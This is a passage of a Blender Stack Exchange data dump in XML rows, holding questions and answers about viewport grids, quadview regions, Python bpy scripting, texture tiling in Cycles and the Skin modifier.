  <row Id="23454" PostTypeId="2" ParentId="23452" CreationDate="2015-01-19T17:03:55.970" Score="5" Body="&lt;p&gt;To see the grid you have to be in &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/3D_interaction/Navigating/3D_View&quot; rel=&quot;nofollow&quot;&gt;orthographic&lt;/a&gt; view mode, and in one of the primary views, Front, Top, Right and the inverse Back, Bottom, and Left.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Navigating/3D_View#Rotating_the_View&quot; rel=&quot;nofollow&quot;&gt;Documentation&lt;/a&gt; on the view port&lt;/strong&gt;&lt;br&gt;&#xA;&lt;kbd&gt;NumPad 5&lt;/kbd&gt; to toggle orthographic and perspective view.&lt;br&gt;&#xA;&lt;kbd&gt;NumPad 1&lt;/kbd&gt; Front view&lt;br&gt;&#xA;&lt;kbd&gt;NumPad 3&lt;/kbd&gt; Right view&lt;br&gt;&#xA;&lt;kbd&gt;NumPad 7&lt;/kbd&gt; Top view&lt;br&gt;&#xA;Holding &lt;kbd&gt;Ctrl&lt;/kbd&gt; will invert the view, to give back, left, and bottom.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the Grid Floor is always visible.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="3127" LastEditDate="2015-01-19T17:15:18.727" LastActivityDate="2015-01-19T17:15:18.727" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23455" PostTypeId="2" ParentId="23452" CreationDate="2015-01-19T18:01:08.313" Score="6" Body="&lt;p&gt;To get major/minor grids in perspective mode like the image in my original post, simply change the lines setting from the default 16 to something larger (like 100). Basically you are only seeing the minor lines in default view. By adding more lines you will see the major grid appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to everyone for your help.&lt;/p&gt;&#xA;" OwnerUserId="11072" LastActivityDate="2015-01-19T18:01:08.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23456" PostTypeId="2" ParentId="23450" CreationDate="2015-01-19T18:18:29.407" Score="3" Body="&lt;p&gt;If you're using Blender's default startup.blend as your initial starting place, the easier solution would be to change to the &quot;3D View Full screen&quot; layout and then change that area to hold the editor you want (in your case, the UV/Image Editor). The code might look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.window.screen = bpy.data.screens['3D View Full']&#xA;bpy.context.screen.areas[0].type = 'IMAGE_EDITOR'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="836" LastActivityDate="2015-01-19T18:18:29.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23457" PostTypeId="1" CreationDate="2015-01-19T18:33:08.830" Score="5" ViewCount="1877" Body="&lt;p&gt;I try to render animation using &lt;strong&gt;&lt;em&gt;Open GL render animation&lt;/em&gt;&lt;/strong&gt; option. I added a movie clip as a texture to a plane. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/tklRW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I change the keyframes manually (in &lt;strong&gt;&lt;em&gt;Material&lt;/em&gt;&lt;/strong&gt; viewport shading ) the following animation frames are visible (they're refreshing right).&#xA;&lt;img src=&quot;https://i.stack.imgur.com/s3get.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Interesting fact is, it only works this way if the &lt;em&gt;Preview&lt;/em&gt; panel is expanded. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/7xgXE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem appears when I try to render it using &lt;strong&gt;&lt;em&gt;Open GL render&lt;/em&gt;&lt;/strong&gt;. Despite the fact that I enabled the '&lt;strong&gt;&lt;em&gt;auto refresh&lt;/em&gt;&lt;/strong&gt;' option in Image Texture node the animation on the plane is not visible (it display only the current frame image). Is there a way to make it work?&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="12" LastEditDate="2015-01-19T19:09:21.083" LastActivityDate="2018-05-17T14:57:33.900" Title="How to render the movie texture in the Open GL viewport rendering?" Tags="&lt;rendering&gt;&lt;3d-view&gt;&lt;opengl&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23458" PostTypeId="2" ParentId="23453" CreationDate="2015-01-19T18:44:02.070" Score="2" Body="&lt;p&gt;A RegionView3D is actually a space, the access path is &lt;code&gt;bpy.context.screen.areas[#].spaces.active.region_3d&lt;/code&gt; (area being of type &lt;code&gt;VIEW_3D&lt;/code&gt;), or in case of quadview mode, &lt;code&gt;... spaces.active.region_quadviews[#]&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are no direct references from a region to a RegionView3D.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's possible to find the right quadview region and its space, here's a (modal timer) example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import math&#xA;&#xA;def get_view_orientation(space, quadview):&#xA;&#xA;    if quadview.view_perspective == 'CAMERA':&#xA;        view_orientation = &quot;Camera Persp&quot;&#xA;&#xA;    else:&#xA;        r = lambda x: round(x, 2)&#xA;        view_rot = quadview.view_matrix.to_euler()&#xA;&#xA;        orientation_dict = {(0.0, 0.0, 0.0) : 'TOP',&#xA;                            (r(math.pi), 0.0, 0.0) : 'BOTTOM',&#xA;                            (r(-math.pi/2), 0.0, 0.0) : 'FRONT',&#xA;                            (r(math.pi/2), 0.0, r(-math.pi)) : 'BACK',&#xA;                            (r(-math.pi/2), r(math.pi/2), 0.0) : 'LEFT',&#xA;                            (r(-math.pi/2), r(-math.pi/2), 0.0) : 'RIGHT'}&#xA;&#xA;        view_orientation =  orientation_dict.get(tuple(map(r, view_rot)), 'USER').capitalize()&#xA;        view_orientation += &quot; &quot; + quadview.view_perspective.capitalize()&#xA;&#xA;    if space.local_view is not None:&#xA;        view_orientation += &quot; (Local)&quot;&#xA;&#xA;    return view_orientation&#xA;&#xA;&#xA;def get_quadview_index(context, x, y):&#xA;    for area in context.screen.areas:&#xA;        if area.type != 'VIEW_3D':&#xA;            continue&#xA;        if len(area.spaces.active.region_quadviews) == 0:&#xA;            return&#xA;        i = -1&#xA;        for region in area.regions:&#xA;            if region.type == 'WINDOW':&#xA;                i += 1&#xA;                if (x &amp;gt;= region.x and&#xA;                    y &amp;gt;= region.y and&#xA;                    x &amp;lt; region.width + region.x and&#xA;                    y &amp;lt; region.height + region.y):&#xA;&#xA;                    return (area.spaces.active, i)&#xA;    return (None, None)&#xA;&#xA;class ModalTimerOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Operator which runs its self from a timer&quot;&quot;&quot;&#xA;    bl_idname = &quot;wm.modal_timer_operator&quot;&#xA;    bl_label = &quot;Modal Timer Operator&quot;&#xA;&#xA;    _timer = None&#xA;&#xA;    def modal(self, context, event):&#xA;        if event.type in {'RIGHTMOUSE', 'ESC'}:&#xA;            return self.cancel(context)&#xA;&#xA;        if event.type == 'TIMER':&#xA;            space, i = get_quadview_index(context, event.mouse_x, event.mouse_y)&#xA;            if space is not None:&#xA;                quadview = space.region_quadviews[i]&#xA;                print(get_view_orientation(space, quadview))&#xA;&#xA;        return {'PASS_THROUGH'}&#xA;&#xA;    def execute(self, context):&#xA;        wm = context.window_manager&#xA;        self._timer = wm.event_timer_add(0.5, context.window)&#xA;        wm.modal_handler_add(self)&#xA;        return {'RUNNING_MODAL'}&#xA;&#xA;    def cancel(self, context):&#xA;        wm = context.window_manager&#xA;        wm.event_timer_remove(self._timer)&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(ModalTimerOperator)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(ModalTimerOperator)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&#xA;    # test call&#xA;    bpy.ops.wm.modal_timer_operator()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2015-01-19T18:44:02.070" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23459" PostTypeId="2" ParentId="23453" CreationDate="2015-01-19T18:45:02.447" Score="1" Body="&lt;p&gt;It doesn't actually seem possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using this other topic &quot;&lt;a href=&quot;https://blender.stackexchange.com/questions/19744/getting-the-active-region&quot;&gt;Getting the active region&lt;/a&gt;&quot; as sort of a jumping off point, you'll have to go through and compare all the regions positions to the indices of the quadviews list (having to assume that quadviews is a fixed list where 0 is Front, 1 is Top, etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Couldn't come up with a better way to sort these but here it is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#+-------------------------------------+&#xA;#| reg 1  (TOP/XY)  | reg 3 (USER/USR) |&#xA;#|------------------+------------------|&#xA;#| reg 0 (FRONT/XZ) | reg 2 (RIGHT/YZ) |&#xA;#+-------------------------------------+&#xA;#First find reg 0&#xA;minReg = None&#xA;for reg in ctx.area.regions:&#xA;    if reg.type != &quot;WINDOW&quot;:&#xA;        continue&#xA;    if not minReg:&#xA;        minReg = reg&#xA;        continue&#xA;    if reg.x &amp;lt;= minReg.x and reg.y &amp;lt;= minReg.y:&#xA;        minReg = reg&#xA;&#xA;#Place all the other regions with respect to reg 0&#xA;regions = [None, None, None, None]&#xA;regions[0] = minReg&#xA;for reg in ctx.area.regions:&#xA;    if reg.type != &quot;WINDOW&quot; or reg == regions[0]:&#xA;        continue&#xA;    if reg.x &amp;gt; regions[0].x and reg.y &amp;gt; regions[0].y:&#xA;        regions[3] = reg&#xA;    elif reg.x &amp;gt; regions[0].x:&#xA;        regions[2] = reg&#xA;    elif reg.y &amp;gt; regions[0].y:&#xA;        regions[1] = reg&#xA;&#xA;#Make the dictionary&#xA;self.viewDict = {&#xA;    &quot;XY&quot; : (ctx.space_data.region_quadviews[0], regions[0])&#xA;    &quot;XZ&quot; : (ctx.space_data.region_quadviews[1], regions[1])&#xA;    &quot;YZ&quot; : (ctx.space_data.region_quadviews[2], regions[2])&#xA;    &quot;USER&quot; : (ctx.space_data.region_quadviews[3], regions[3])&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10985" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2015-01-19T19:09:57.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23460" PostTypeId="2" ParentId="23079" CreationDate="2015-01-19T20:04:08.420" Score="0" Body="&lt;p&gt;I've change my code, and use one &quot;meta-code&quot; - inside my code, I've opened an &quot;Text Editor&quot; area, and include another python file. At least, this is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;text = bpy.data.texts.load(&quot;translate.py&quot;)&#xA;&#xA;for area in bpy.context.screen.areas:&#xA;    if area.type == 'IMAGE_EDITOR':&#xA;        area.type = 'TEXT_EDITOR'&#xA;        area.spaces[0].text = text&#xA;&#xA;        ctx = bpy.context.copy()&#xA;        ctx['edit_text'] = text&#xA;        ctx['area'] = area&#xA;        ctx['region'] = area.regions[-1]&#xA;&#xA;        bpy.ops.text.run_script(ctx)&#xA;        break&#xA;&#xA;for area in bpy.context.screen.areas:&#xA;    if area.type == 'TEXT_EDITOR':&#xA;        area.type = 'VIEW_3D'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And, my translate.py code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;area = bpy.context.area.type&#xA;bpy.context.area.type = 'IMAGE_EDITOR'&#xA;bpy.ops.transform.translate(value=(-0.449219, 0.425781, 0), constraint_axis=(False, False, False), constraint_orientation='GLOBAL', mirror=False, proportional='DISABLED', proportional_edit_falloff='SMOOTH', proportional_size=1)&#xA;bpy.context.area.type = area&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks everybody :)&lt;/p&gt;&#xA;" OwnerUserId="7829" LastActivityDate="2015-01-19T20:04:08.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23463" PostTypeId="1" CreationDate="2015-01-19T22:39:05.340" Score="2" ViewCount="458" Body="&lt;p&gt;My scene has multiple cameras. Is there a way to cycle through camera views with a hot key, or a script?&lt;/p&gt;&#xA;" OwnerUserId="2533" LastEditorUserId="2533" LastEditDate="2015-01-19T22:45:18.443" LastActivityDate="2015-01-19T22:45:18.443" Title="Cycle through camera views" Tags="&lt;python&gt;&lt;camera&gt;" AnswerCount="0" CommentCount="6" ClosedDate="2015-01-20T01:07:16.643" ContentLicense="CC BY-SA 3.0" />
  <row Id="23464" PostTypeId="2" ParentId="19716" CreationDate="2015-01-20T01:29:21.120" Score="2" Body="&lt;p&gt;It means the bone behaves 'as normal' and location curves are based on the bone's rest position. If you uncheck it they (the curves/ transform) will be in the rotational space of the armature, ignoring the rest rotation of the bone.&#xA;Nathan added this during sintel I believe to avoid having to align bones in the rig. Honestly I think it is a nuisance.&lt;/p&gt;&#xA;" OwnerUserId="11076" LastActivityDate="2015-01-20T01:29:21.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23465" PostTypeId="1" CreationDate="2015-01-20T01:31:04.610" Score="7" ViewCount="501" Body="&lt;p&gt;When creating a custom Node - tree type (not scene/material/texture) is it possible to have a background image defined? This would be similar to how the compositing nodes allow an image backdrop, but instead, for a custom tree type.&lt;/p&gt;&#xA;" OwnerUserId="11076" LastEditorUserId="11076" LastEditDate="2015-01-20T19:37:54.620" LastActivityDate="2015-05-14T12:25:04.107" Title="How to add backdrop images for py nodes?" Tags="&lt;python&gt;&lt;pynodes&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23466" PostTypeId="2" ParentId="23407" CreationDate="2015-01-20T01:31:56.460" Score="2" Body="&lt;p&gt;&lt;code&gt;bmesh.ops.extrude_discrete_faces&lt;/code&gt; takes a list of faces and extrudes them, leaving them in the original place with new joining geometry. If we take the &lt;code&gt;['faces']&lt;/code&gt; part of the data returned by &lt;code&gt;extrude_discrete_faces&lt;/code&gt; we have a list of faces that have been extruded, these are the 'original' faces only, not the extra joining faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For each of these extruded faces we take the face normal and multiply it by the distance you wish to move the face and use that in &lt;code&gt;bmesh.ops.translate&lt;/code&gt; to position them where you want.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;# sample set for cube&#xA;extrude_values = [0.1,0.2,0.3,0.4,0.5,0.6]&#xA;&#xA;obj = bpy.context.active_object&#xA;bm = bmesh.new()&#xA;bm.from_mesh(obj.data,face_normals=True)&#xA;&#xA;extrude_faces = bmesh.ops.extrude_discrete_faces(bm, faces=bm.faces)['faces']&#xA;&#xA;for f_idx in range(len(extrude_faces)):&#xA;    dr = extrude_faces[f_idx].normal * extrude_values[f_idx]&#xA;    bmesh.ops.translate(bm, verts=extrude_faces[f_idx].verts, vec=dr)&#xA;&#xA;bm.to_mesh(obj.data)&#xA;bm.free()&#xA;obj.data.update()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-01-20T01:31:56.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23468" PostTypeId="2" ParentId="23126" CreationDate="2015-01-20T02:08:29.400" Score="0" Body="&lt;p&gt;I think the better option is use  some handler event...&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73_2/bpy.app.handlers.html?highlight=bpy.app.handlers#&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.blender.org/api/blender_python_api_2_73_2/bpy.app.handlers.html?highlight=bpy.app.handlers#bpy.app.handlers.version_update&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;maybe you can &amp;quot;load&amp;quot; a new blender file before blender is closing.. then you can use the&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;bpy.app.handlers.load_post&#xA;on loading a new blend file (after)&#xA;&#xA;bpy.app.handlers.load_pre&#xA;on loading a new blend file (before) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;there is the moment to do something before or after blender change to another blender file :D&lt;/p&gt;&#xA;&lt;p&gt;best&lt;/p&gt;&#xA;" OwnerUserId="11077" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-01-20T02:08:29.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23469" PostTypeId="1" AcceptedAnswerId="32999" CreationDate="2015-01-20T03:33:54.840" Score="2" ViewCount="376" Body="&lt;p&gt;I have an operator with a class name of say &lt;code&gt;Mesh_OT_Add_Thing&lt;/code&gt;. Printing &lt;code&gt;self.__class__&lt;/code&gt; shows that the class is &lt;code&gt;__main__.Mesh_OT_Add_Thing&lt;/code&gt;. I've tried a few different ways but can't seem to get to the class to check a specific member.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I do this?&lt;/p&gt;&#xA;" OwnerUserId="10985" LastEditorUserId="3710" LastEditDate="2015-01-20T17:02:47.700" LastActivityDate="2015-06-25T23:49:44.373" Title="How to access a class from blenders python console?" Tags="&lt;python&gt;&lt;command-line&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23470" PostTypeId="1" CreationDate="2015-01-20T04:47:18.320" Score="2" ViewCount="212" Body="&lt;p&gt;What does the .blend1 file do?&lt;br&gt;&#xA;It automatically appears every time you create a .blend file.&lt;br&gt;&#xA;I only use the .blend file.&lt;br&gt;&#xA;When I double-click on the .blend file, it opens Blender.&lt;br&gt;&#xA;When I double-click on the .blend1 file, it doesn't have a software to run the file.&lt;br&gt;&#xA;What is the .blend1 file used for?&lt;/p&gt;&#xA;" OwnerUserId="7636" LastActivityDate="2015-01-20T04:47:18.320" Title=".blend1 File Function" Tags="&lt;blend-files&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2015-01-20T09:07:30.953" ContentLicense="CC BY-SA 3.0" />
  <row Id="23471" PostTypeId="2" ParentId="23432" CreationDate="2015-01-20T06:33:14.967" Score="4" Body="&lt;p&gt;It turns out that one of the existing weight tools named &lt;strong&gt;Clean&lt;/strong&gt; does all I want, which offers several nice options. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;strong&gt;Edit Mode&lt;/strong&gt; or &lt;strong&gt;Weight Paint Mode&lt;/strong&gt;, you can find the &lt;strong&gt;Weight Tools&lt;/strong&gt; panel on the Toolshelf in 3D Viewport by pressing &lt;kbd&gt;T&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wjhqQ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2015-01-20T06:33:14.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23472" PostTypeId="1" CreationDate="2015-01-20T06:51:41.820" Score="1" ViewCount="47" Body="&lt;p&gt;I used a texture map with multiple textures and set them up in the UV editor while in solid view, but when I switch it to textured view to check my lighting the textures appear as lines and the floor has the whole texture map even though I set each face with a different texture. What is going on and how can I fix it?&lt;img src=&quot;https://i.stack.imgur.com/dZSF7.png&quot; alt=&quot;here is what the problem looks like&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11079" LastActivityDate="2015-01-20T06:51:41.820" Title="Texture only works in solid view version 2.7" Tags="&lt;texturing&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23473" PostTypeId="2" ParentId="21657" CreationDate="2015-01-20T10:07:08.767" Score="1" Body="&lt;p&gt;That's quite easy to do. You don't even need to use Python, you can do this with logic bricks, properties and messages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got an example .blend here: &lt;a href=&quot;http://www.pasteall.org/blend/33896&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/blend/33896&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press P to start.&#xA;Change weapons with 1, 2 or 3 keyboard keys. Notice how the wepon is lowered, then changes, and then plays a setup animation. Right now all the weapons play the same animation, but you could make several different ones if you like and link those up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done in a slightly different way than you requested. Instead of adding/removing weapon objects, I've used Replace Mesh to change the weapon, and a active weapon int property. I've found this to work better, and you don't need to worry about having the new weapon follow the character around this way.&#xA;You can check for this int and change behaviours for the different weapons (to add different bullets or whatever).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't quite understand you requests about a 'Primary' property, but you can add that yourself, no problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For actual shooting, just add a Shoot action with some weapon movement and an empty in front of the weapon to emit bullets. These things can be set up to listen to the active weapon and change their behavior. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this works out for you. These things are not really that hard once you get a hang of Properties and Messages. Cheers.&lt;/p&gt;&#xA;" OwnerUserId="10951" LastActivityDate="2015-01-20T10:07:08.767" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23474" PostTypeId="1" AcceptedAnswerId="23477" CreationDate="2015-01-20T10:23:54.460" Score="2" ViewCount="2065" Body="&lt;p&gt;I have selected one edge and would like to split it. When I click on the command in the menu, nothing happens. When I use the modifier, nothing happens. My selection on the object remains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am definitely in edge mode.&#xA;It is definitely selected and it is the only selected edge/face/vertex/object.&#xA;No UVs.&#xA;Shading: nothing selected, neither smooth nor sharp for anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm pretty new to Blender, so I apologize if this is silly/dumb.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This does not work:&lt;br&gt;&#xA;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?279119-Edge-Split-Not-Working&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/forum/showthread.php?279119-Edge-Split-Not-Working&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stats:&lt;br&gt;&#xA;Blender 2.71&lt;br&gt;&#xA;17&quot; MacBook Pro from mid 2009&lt;br&gt;&#xA;OSX version 10.7.5 (lion)&lt;br&gt;&#xA;8 GB of RAM&lt;br&gt;&#xA;NVIDIA GeForce 9400 M 256 MB&lt;br&gt;&#xA;2.66 GHz Intel Core Duo Pro&lt;/p&gt;&#xA;" OwnerUserId="11081" LastEditorUserId="2217" LastEditDate="2015-01-20T16:20:31.967" LastActivityDate="2015-01-20T16:20:31.967" Title="Unable to split an edge as expected" Tags="&lt;modeling&gt;&lt;edges&gt;" AnswerCount="1" CommentCount="4" ClosedDate="2015-01-20T16:41:11.623" ContentLicense="CC BY-SA 3.0" />
  <row Id="23475" PostTypeId="1" AcceptedAnswerId="167035" CreationDate="2015-01-20T11:13:44.803" Score="14" ViewCount="2896" Body="&lt;p&gt;I'm trying to make a texture tiling mirrored as you can do in Internal. It seems that it's not so easy in Cycles. I want this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PwzjJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that besides the A1 square you can see the same square mirrored, as well as in the G8 one and any other square in the texture's limit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to achieve this in Cycles?&lt;/p&gt;&#xA;" OwnerUserId="9482" LastActivityDate="2021-02-24T21:41:46.977" Title="How to get mirrored tiling in Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;uv&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="23476" PostTypeId="1" CreationDate="2015-01-20T11:34:36.273" Score="3" ViewCount="3607" Body="&lt;p&gt;When I try to add a Skin modifier to my 3D model, the program crashes. The program doesn't close when it crashes. What can I do to avoid this? The 3D model is 4 000 quads/ 8 000 tris. We've tried on both Windows and Mac on the same scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender version:&#xA;Version 2.73 (2.73, 2015-Jan-07, Blender Foundation)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Antonio Buch: Thank you very much! This was actually what I was looking for, unfortunately I don't have enough reputation to mark your answer as correct. &lt;/p&gt;&#xA;" OwnerUserId="11084" LastEditorUserId="6204" LastEditDate="2015-01-21T12:04:22.447" LastActivityDate="2015-01-21T12:04:22.447" Title="Why does Blender crash when I select Skin for my 3D model?" Tags="&lt;animation&gt;&lt;rigging&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23477" PostTypeId="2" ParentId="23474" CreationDate="2015-01-20T11:54:58.463" Score="1" Body="&lt;p&gt;I hope I understood your question correctly, since the topic asks something else than the text. If I got it right, you want to know why you can not split a single selected edge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the problem is that Blender can not connect two vertices with an edge twice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you only select one edge and try to split it, Blender would have to insert a second edge between its two vertices. My guess is that this collides with the internal data structure of Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To solve this problem you would have to insert another vertex along this edge first, so that after splitting you will get a &quot;ring&quot; of four edges. Then there are no two vertices connect twice and Blender is happy.&lt;/p&gt;&#xA;" OwnerUserId="3089" LastActivityDate="2015-01-20T11:54:58.463" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23479" PostTypeId="1" CreationDate="2015-01-20T12:26:13.273" Score="1" ViewCount="524" Body="&lt;p&gt;I have .bvh file and I want to write the x,y,z coordinates of different bones in different frames in a separate file. Is it possible to do this using blender?&lt;/p&gt;&#xA;" OwnerUserId="11087" LastEditorUserId="241" LastEditDate="2015-01-20T13:27:45.493" LastActivityDate="2015-01-20T13:27:45.493" Title="Extract x,y,z coordinates of different bones using .bvh?" Tags="&lt;armature&gt;&lt;bones&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23480" PostTypeId="2" ParentId="23475" CreationDate="2015-01-20T12:26:57.013" Score="11" Body="&lt;p&gt;You can achieve this usign math nodes:&lt;br&gt;&#xA;&lt;sub&gt;Click for full size&lt;/sub&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Wu4mF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Wu4mF.png&quot; alt=&quot;nodes&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&#xA;I have just seen you can even leave out the modulo operation. I thought it would make the coordinates repeat between 0 and 1 but it just does nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pasteall.org/blend/33902&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here&lt;/a&gt; is the .blend file for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What this node setup does is basically flip the UV coordinates when the image border is reached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result (with multiple flips):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uN4Q9.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3089" LastEditorUserId="2217" LastEditDate="2015-01-20T14:22:58.327" LastActivityDate="2015-01-20T14:22:58.327" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="23481" PostTypeId="2" ParentId="23476" CreationDate="2015-01-20T12:27:05.707" Score="7" Body="&lt;p&gt;I think you might not know the purpose of the Skin Modifier. With it, any vertex is kind of a tubular node connected to the other ones. It's for making quick base model like the image below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sU0Q7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Applied to a complex model, would take several minutes to process it. And the results are not pretty good though. Here you can see a cube and a Suzzane with the Skin Modifier. Suzzane completely freezed the aplication for 2 minutes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kojel.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The use of the Skin Modifier is covered in &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Skin&quot; rel=&quot;noreferrer&quot;&gt;its wiki page&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point, I think this is not what you want to accomplish. As you have animation and rigging tags in your question, I think you need the Armature Modifier for make your character rig. Armature Modifier is named Skin in 3ds Max, maybe that's why you made this mistake (if you did).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks that I haven't clarify that enough: in this case, &lt;strong&gt;you need to create an Armature&lt;/strong&gt; (a rig in Blender) &lt;strong&gt;and use the Armature Modifier&lt;/strong&gt; (like Skin in 3ds Max) in &lt;strong&gt;your character's 